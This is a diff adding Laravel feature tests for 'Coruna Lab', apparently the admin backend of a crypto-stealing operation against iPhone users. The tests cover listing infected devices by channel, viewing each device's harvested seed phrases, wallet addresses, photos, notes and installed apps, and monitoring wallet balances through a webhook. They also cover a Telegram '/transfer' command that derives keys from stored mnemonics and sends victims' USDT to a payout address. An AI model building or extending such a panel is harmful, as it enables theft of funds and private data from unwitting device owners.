$this->get('/admin/devices')
|
||||
->assertRedirect(route('admin.login'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_login_and_device_list(): void
|
||||
{
|
||||
Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-x',
|
||||
'ios_version' => '16.0',
|
||||
'device_model' => 'iPhone14,2',
|
||||
'user_agent' => 'TestUA/1.0',
|
||||
'ip' => '1.2.3.4',
|
||||
]);
|
||||
|
||||
$this->post('/admin/login', ['username' => 'admin', 'password' => 'admin123'])
|
||||
->assertRedirect(route('admin.home'));
|
||||
|
||||
$this->get('/admin')
|
||||
->assertOk()
|
||||
->assertSee('Coruna Lab');
|
||||
|
||||
$this->get('/admin/devices')
|
||||
->assertOk()
|
||||
->assertSee('设备 ID')
|
||||
->assertSee('安装时间')
|
||||
->assertSee('更新时间')
|
||||
->assertSee('LAY-device-list')
|
||||
->assertDontSee('User-Agent');
|
||||
|
||||
$this->getJson('/admin/devices/data')
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-x')
|
||||
->assertJsonPath('data.0.device_model', 'iPhone14,2');
|
||||
|
||||
$this->getJson('/admin/devices/data?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3')
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-x');
|
||||
|
||||
$this->getJson('/admin/devices/data?device_key=no-such-device')
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 0)
|
||||
->assertJsonPath('data', []);
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-x')->firstOrFail();
|
||||
$this->get(route('admin.devices.show', [$device, 'tab' => 'apps']))
|
||||
->assertOk()
|
||||
->assertSee('钱包地址')
|
||||
->assertSee('助记词')
|
||||
->assertSee('相册')
|
||||
->assertSee('已装 APP')
|
||||
->assertSee('备忘录')
|
||||
->assertSee('日志')
|
||||
->assertDontSee('Keystore')
|
||||
->assertDontSee('概览')
|
||||
->assertDontSee('返回列表');
|
||||
|
||||
$this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'apps']))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,231 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Services\ChannelProjectService;
|
||||
use Illuminate\Events\Dispatcher;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\Client\ConnectionException;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use RuntimeException;
|
||||
use Tests\TestCase;
|
||||
|
||||
class ChannelProjectServiceTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
config([
|
||||
'coruna.build_service.url' => 'https://builder.test',
|
||||
'coruna.build_service.token' => 'secret-token',
|
||||
'coruna.build_service.connect_timeout' => 2,
|
||||
'coruna.build_service.timeout' => 30,
|
||||
'coruna.deployment_domains' => ['deploy.test'],
|
||||
'coruna.reporting_domains' => ['report.test'],
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_builds_with_authenticated_separate_domain_lists(): void
|
||||
{
|
||||
Http::fake(['builder.test/*' => Http::response(['ok' => true])]);
|
||||
|
||||
app(ChannelProjectService::class)->generate(self::CHANNEL_ID);
|
||||
|
||||
Http::assertSent(fn ($request) => $request->method() === 'POST'
|
||||
&& $request->url() === 'https://builder.test/v1/channels/'.self::CHANNEL_ID.'/build'
|
||||
&& $request->hasHeader('Authorization', 'Bearer secret-token')
|
||||
&& $request->data() === [
|
||||
'deployment_domains' => ['deploy.test'],
|
||||
'reporting_domains' => ['report.test'],
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_prefers_channel_domains_for_deployment_and_env_for_reporting(): void
|
||||
{
|
||||
Http::fake(['builder.test/*' => Http::response(['ok' => true])]);
|
||||
|
||||
app(ChannelProjectService::class)->generate(self::CHANNEL_ID, ['channel.only.test']);
|
||||
|
||||
Http::assertSent(fn ($request) => $request->data() === [
|
||||
'deployment_domains' => ['channel.only.test'],
|
||||
'reporting_domains' => ['report.test'],
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_reports_builder_errors(): void
|
||||
{
|
||||
Http::fake(['builder.test/*' => Http::response(['message' => 'bad template'], 500)]);
|
||||
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessage('生成渠道资源失败 (500): bad template');
|
||||
|
||||
app(ChannelProjectService::class)->generate(self::CHANNEL_ID);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_reports_connection_timeouts(): void
|
||||
{
|
||||
Http::fake(fn () => throw new ConnectionException('timed out'));
|
||||
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessage('渠道构建服务连接失败: timed out');
|
||||
|
||||
app(ChannelProjectService::class)->generate(self::CHANNEL_ID);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function delete_is_authenticated_and_not_found_is_idempotent(): void
|
||||
{
|
||||
Http::fake(['builder.test/*' => Http::response([], 404)]);
|
||||
|
||||
app(ChannelProjectService::class)->deleteWebTree(self::CHANNEL_ID);
|
||||
|
||||
Http::assertSent(fn ($request) => $request->method() === 'DELETE'
|
||||
&& $request->url() === 'https://builder.test/v1/channels/'.self::CHANNEL_ID
|
||||
&& $request->hasHeader('Authorization', 'Bearer secret-token'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function delete_reports_builder_errors(): void
|
||||
{
|
||||
Http::fake(['builder.test/*' => Http::response('unavailable', 503)]);
|
||||
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessage('删除渠道资源失败 (503): unavailable');
|
||||
|
||||
app(ChannelProjectService::class)->deleteWebTree(self::CHANNEL_ID);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function support_links_prefer_channel_domains_then_env_fallback(): void
|
||||
{
|
||||
config([
|
||||
'coruna.channel_domains' => ['fallback.test'],
|
||||
'coruna.deployment_domains' => ['fallback.test'],
|
||||
'coruna.static_site.base_url' => 'https://static.test/assets',
|
||||
]);
|
||||
|
||||
$withStored = new Channel([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'domains' => ['channel.test'],
|
||||
]);
|
||||
$this->assertSame([
|
||||
'https://static.test/assets/channel/'.self::CHANNEL_ID.'/web/support.html',
|
||||
'https://channel.test/channel/'.self::CHANNEL_ID.'/web/support.html',
|
||||
], $withStored->supportLinks());
|
||||
|
||||
$fallback = new Channel(['channel_id' => self::CHANNEL_ID, 'domains' => []]);
|
||||
$this->assertSame([
|
||||
'https://static.test/assets/channel/'.self::CHANNEL_ID.'/web/support.html',
|
||||
'https://fallback.test/channel/'.self::CHANNEL_ID.'/web/support.html',
|
||||
], $fallback->supportLinks());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function failed_database_insert_compensates_with_remote_delete(): void
|
||||
{
|
||||
Http::fake([
|
||||
'builder.test/*' => Http::sequence()
|
||||
->push(['ok' => true], 200)
|
||||
->push([], 204),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$originalDispatcher = Channel::getEventDispatcher();
|
||||
Channel::setEventDispatcher(new Dispatcher($this->app));
|
||||
Channel::creating(static fn () => throw new RuntimeException('database rejected insert'));
|
||||
|
||||
try {
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertStatus(422)
|
||||
->assertJsonPath('code', 1);
|
||||
} finally {
|
||||
Channel::setEventDispatcher($originalDispatcher);
|
||||
}
|
||||
|
||||
Http::assertSentCount(2);
|
||||
Http::assertSent(fn ($request) => $request->method() === 'DELETE');
|
||||
$this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function duplicate_insert_loser_does_not_delete_winners_remote_project(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$projects = Mockery::mock(ChannelProjectService::class);
|
||||
$projects->shouldReceive('generate')->once()->andReturnUsing(function (): void {
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
});
|
||||
$projects->shouldNotReceive('deleteWebTree');
|
||||
$this->app->instance(ChannelProjectService::class, $projects);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertStatus(422)
|
||||
->assertJsonPath('code', 1);
|
||||
|
||||
$this->assertDatabaseCount('channels', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function destroy_deletes_remote_project_before_database_row(): void
|
||||
{
|
||||
Http::fake(['builder.test/*' => Http::response([], 204)]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->delete(route('admin.channels.destroy', $channel))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
Http::assertSent(fn ($request) => $request->method() === 'DELETE');
|
||||
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function destroy_keeps_database_row_when_remote_delete_fails(): void
|
||||
{
|
||||
Http::fake(['builder.test/*' => Http::response(['message' => 'busy'], 503)]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->delete(route('admin.channels.destroy', $channel))
|
||||
->assertStatus(422)
|
||||
->assertJsonPath('code', 1);
|
||||
|
||||
$this->assertDatabaseHas('channels', ['id' => $channel->id]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
// use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Tests\TestCase;
|
||||
|
||||
class ExampleTest extends TestCase
|
||||
{
|
||||
/**
|
||||
* A basic test example.
|
||||
*/
|
||||
public function test_the_application_returns_a_successful_response(): void
|
||||
{
|
||||
$response = $this->get('/');
|
||||
|
||||
$response->assertRedirect(route('admin.login'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Setting;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class SystemAdminTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private function superAdmin(): Admin
|
||||
{
|
||||
return Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
}
|
||||
|
||||
private function normalAdmin(): Admin
|
||||
{
|
||||
return Admin::query()->create([
|
||||
'username' => 'staff',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 0,
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function normal_admin_cannot_access_system_routes(): void
|
||||
{
|
||||
$staff = $this->normalAdmin();
|
||||
|
||||
$this->actingAs($staff, 'admin')
|
||||
->get(route('admin.system.settings.index'))
|
||||
->assertForbidden();
|
||||
|
||||
$this->actingAs($staff, 'admin')
|
||||
->get(route('admin.system.admins.index'))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function super_admin_sees_system_menu_normal_does_not(): void
|
||||
{
|
||||
$this->actingAs($this->superAdmin(), 'admin')
|
||||
->get(route('admin.home'))
|
||||
->assertOk()
|
||||
->assertSee('系统')
|
||||
->assertSee('设置')
|
||||
->assertSee('管理员');
|
||||
|
||||
$this->actingAs($this->normalAdmin(), 'admin')
|
||||
->get(route('admin.home'))
|
||||
->assertOk()
|
||||
->assertDontSee('lay-href="'.route('admin.system.settings.index').'"', false);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function super_admin_can_save_settings(): void
|
||||
{
|
||||
$super = $this->superAdmin();
|
||||
|
||||
$this->actingAs($super, 'admin')
|
||||
->post(route('admin.system.settings.update'), [
|
||||
'telegram_bot_token' => 'bot:token',
|
||||
'telegram_owner_chat_id' => '-1001',
|
||||
'channels_max_per_agent' => 5,
|
||||
'channels_domains' => "cdn1.example.com\nhttps://cdn2.example.com/",
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertSame('bot:token', Setting::query()->where('key', 'telegram.bot_token')->value('value'));
|
||||
$this->assertSame('bot:token', config('coruna.telegram.bot_token'));
|
||||
$this->assertSame(5, (int) config('coruna.channels.max_per_agent'));
|
||||
$this->assertSame(['cdn1.example.com', 'cdn2.example.com'], config('coruna.channel_domains'));
|
||||
$this->assertSame(
|
||||
'cdn1.example.com,cdn2.example.com',
|
||||
Setting::query()->where('key', 'channels.domains')->value('value')
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function super_admin_can_crud_admins(): void
|
||||
{
|
||||
$super = $this->superAdmin();
|
||||
|
||||
$this->actingAs($super, 'admin')
|
||||
->post(route('admin.system.admins.store'), [
|
||||
'username' => 'newstaff',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 0,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$staff = Admin::query()->where('username', 'newstaff')->first();
|
||||
$this->assertNotNull($staff);
|
||||
$this->assertSame(0, (int) $staff->is_super);
|
||||
|
||||
$this->actingAs($super, 'admin')
|
||||
->putJson(route('admin.system.admins.update', $staff), [
|
||||
'password' => 'newpass12',
|
||||
'is_super' => 0,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->actingAs($super, 'admin')
|
||||
->deleteJson(route('admin.system.admins.destroy', $staff))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertDatabaseMissing('admins', ['username' => 'newstaff']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function cannot_delete_last_super_admin(): void
|
||||
{
|
||||
$super = $this->superAdmin();
|
||||
|
||||
$this->actingAs($super, 'admin')
|
||||
->deleteJson(route('admin.system.admins.destroy', $super))
|
||||
->assertStatus(422);
|
||||
|
||||
$this->assertDatabaseHas('admins', ['id' => $super->id]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,158 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Services\TransferService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatType;
|
||||
use SergiX44\Nutgram\Testing\FakeNutgram;
|
||||
use Tests\TestCase;
|
||||
|
||||
class TelegramBotTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const OWNER_CHAT = -1001234567890;
|
||||
|
||||
private const USER_ID = 4242;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
config([
|
||||
'coruna.telegram.owner_chat_id' => (string) self::OWNER_CHAT,
|
||||
'coruna.telegram.webhook_secret' => 'test-secret',
|
||||
'nutgram.token' => FakeNutgram::TOKEN,
|
||||
]);
|
||||
|
||||
// Nutgram is a singleton; reset so FakeNutgram mock queues stay isolated.
|
||||
$this->app->forgetInstance(Nutgram::class);
|
||||
$this->app->forgetInstance('nutgram');
|
||||
$this->app->forgetInstance('telegram');
|
||||
$this->app->forgetInstance(FakeNutgram::class);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_rejects_bad_secret(): void
|
||||
{
|
||||
$this->postJson('/hooks/telegram', ['update_id' => 1], [
|
||||
'X-Telegram-Bot-Api-Secret-Token' => 'wrong',
|
||||
])->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_accepts_valid_secret(): void
|
||||
{
|
||||
$this->call(
|
||||
'POST',
|
||||
'/hooks/telegram',
|
||||
[],
|
||||
[],
|
||||
[],
|
||||
[
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_X_TELEGRAM_BOT_API_SECRET_TOKEN' => 'test-secret',
|
||||
],
|
||||
json_encode(['update_id' => 1])
|
||||
)->assertNoContent();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function unauthorized_chat_is_silent(): void
|
||||
{
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/ping',
|
||||
'chat' => ['id' => 999, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertCalled('sendMessage', 0);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function non_admin_is_rejected(): void
|
||||
{
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::MEMBER->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/ping',
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
|
||||
])->reply();
|
||||
|
||||
// index 0 is getChatMember; reject reply follows
|
||||
$bot->assertReplyText('⛔ Only group admins can use this command.', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_ping_replies_pong(): void
|
||||
{
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/ping',
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertReplyText('pong', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_transfer_calls_transfer_service(): void
|
||||
{
|
||||
$mock = Mockery::mock(TransferService::class);
|
||||
$mock->shouldReceive('handle')
|
||||
->once()
|
||||
->with('tron', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', '10', 'USDT')
|
||||
->andReturn([
|
||||
'ok' => true,
|
||||
'txid' => 'deadbeef',
|
||||
'from' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||
'to' => 'TPayoutAddressxxxxxxxxxxxxxxxxxxxxxx',
|
||||
'amount' => '10',
|
||||
'asset' => 'USDT',
|
||||
]);
|
||||
$this->app->instance(TransferService::class, $mock);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::CREATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 10',
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
|
||||
])->reply();
|
||||
|
||||
// getChatMember + "⏳ …" + success
|
||||
$bot->assertCalled('sendMessage', 2);
|
||||
$history = $bot->getRequestHistory();
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString('deadbeef', $last['text'] ?? '');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\TokenviewEvent;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Tokenview\TokenviewClient;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class TokenviewWebhookTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private function sign(string $body, string $key): string
|
||||
{
|
||||
return hash_hmac('sha256', $body, $key);
|
||||
}
|
||||
|
||||
private function seedMonitoredAddress(array $overrides = []): WalletAddress
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-tv-1',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
|
||||
return WalletAddress::query()->create(array_merge([
|
||||
'device_id' => $device->id,
|
||||
'address' => '0xab5c66752a9e8167967685f1450532fb96d5d24f',
|
||||
'chain_type' => 'ETH',
|
||||
'source' => 'imToken',
|
||||
'eth' => 1.0,
|
||||
'usdt' => 10.0,
|
||||
'monitor' => 1,
|
||||
], $overrides));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_rejects_bad_signature_when_sign_key_configured(): void
|
||||
{
|
||||
config(['coruna.tokenview.sign_key' => 'secret-sign']);
|
||||
$body = json_encode(['address' => '0xabc', 'txid' => '0x1', 'coin' => 'ETH', 'value' => '1']);
|
||||
|
||||
$this->call(
|
||||
'POST',
|
||||
'/hooks/tokenview',
|
||||
[],
|
||||
[],
|
||||
[],
|
||||
[
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_X_TOKENVIEW_SIGNATURE' => 'deadbeef',
|
||||
],
|
||||
$body
|
||||
)->assertStatus(401);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_applies_inbound_delta_and_dedupes_txid(): void
|
||||
{
|
||||
config(['coruna.tokenview.sign_key' => 'secret-sign']);
|
||||
$addr = $this->seedMonitoredAddress();
|
||||
|
||||
$payload = [
|
||||
'address' => '0xAb5c66752a9e8167967685f1450532fb96d5d24f',
|
||||
'txid' => '0xdf244cbc60f4220e5d90de0833b647bd7f376f5132314a1672dd9b5128302659',
|
||||
'coin' => 'ETH',
|
||||
'value' => '0.5',
|
||||
'tokenSymbol' => 'USDT',
|
||||
'tokenValue' => '100',
|
||||
];
|
||||
$body = json_encode($payload);
|
||||
$headers = [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_X_TOKENVIEW_SIGNATURE' => $this->sign($body, 'secret-sign'),
|
||||
];
|
||||
|
||||
$this->call('POST', '/hooks/tokenview', [], [], [], $headers, $body)
|
||||
->assertOk()
|
||||
->assertSee('ok');
|
||||
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(1.5, (float) $addr->eth, 0.0000001);
|
||||
$this->assertEqualsWithDelta(110.0, (float) $addr->usdt, 0.0000001);
|
||||
$this->assertSame(1, TokenviewEvent::query()->count());
|
||||
|
||||
// Retry same event — no double apply
|
||||
$this->call('POST', '/hooks/tokenview', [], [], [], $headers, $body)
|
||||
->assertOk();
|
||||
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(1.5, (float) $addr->eth, 0.0000001);
|
||||
$this->assertEqualsWithDelta(110.0, (float) $addr->usdt, 0.0000001);
|
||||
$this->assertSame(1, TokenviewEvent::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_ignores_address_when_monitor_off(): void
|
||||
{
|
||||
config(['coruna.tokenview.sign_key' => '']);
|
||||
$addr = $this->seedMonitoredAddress(['monitor' => 0, 'eth' => 2.0]);
|
||||
|
||||
$payload = [
|
||||
'address' => $addr->address,
|
||||
'txid' => '0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'coin' => 'ETH',
|
||||
'value' => '3',
|
||||
];
|
||||
|
||||
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
|
||||
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(2.0, (float) $addr->eth, 0.0000001);
|
||||
$this->assertSame(0, TokenviewEvent::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function monitor_toggle_calls_tokenview_add_and_remove(): void
|
||||
{
|
||||
config(['coruna.tokenview.api_key' => 'test-key']);
|
||||
Http::fake([
|
||||
'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success', 'data' => null], 200),
|
||||
]);
|
||||
|
||||
$admin = \App\Models\Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$addr = $this->seedMonitoredAddress(['monitor' => 0]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->putJson(route('admin.addresses.update', $addr), ['monitor' => 1])
|
||||
->assertOk()
|
||||
->assertJsonPath('data.monitor', 1);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/monitor/address/add/eth/')
|
||||
&& str_contains($request->url(), strtolower('0xab5c66752a9e8167967685f1450532fb96d5d24f'));
|
||||
});
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->putJson(route('admin.addresses.update', $addr), ['monitor' => 0])
|
||||
->assertOk();
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/monitor/address/remove/eth/');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function set_webhook_command_posts_url(): void
|
||||
{
|
||||
config([
|
||||
'coruna.tokenview.api_key' => 'test-key',
|
||||
'coruna.tokenview.base_url' => 'https://services.tokenview.io/vipapi',
|
||||
'app.url' => 'https://example.test',
|
||||
]);
|
||||
Http::fake([
|
||||
'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200),
|
||||
]);
|
||||
|
||||
$this->artisan('tokenview:set-webhook')
|
||||
->assertSuccessful();
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/monitor/setwebhookurl')
|
||||
&& $request->body() === 'https://example.test/hooks/tokenview';
|
||||
});
|
||||
|
||||
$this->assertTrue(app(TokenviewClient::class)->enabled());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\TransferService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class TransferServiceTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
||||
|
||||
private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||
|
||||
private const SOURCE = 'imToken';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
config([
|
||||
'coruna.transfer.to_address' => self::TO,
|
||||
'coruna.transfer.max_derive_index' => 5,
|
||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'coruna.transfer.max_usdt' => '0',
|
||||
'coruna.transfer.max_trx' => '0',
|
||||
]);
|
||||
}
|
||||
|
||||
private function seedFromWallet(?string $mnemonic = self::MNEMONIC, string $source = self::SOURCE): Device
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-transfer-1',
|
||||
'ios_version' => '18.0',
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => self::FROM,
|
||||
'chain_type' => 'TRON',
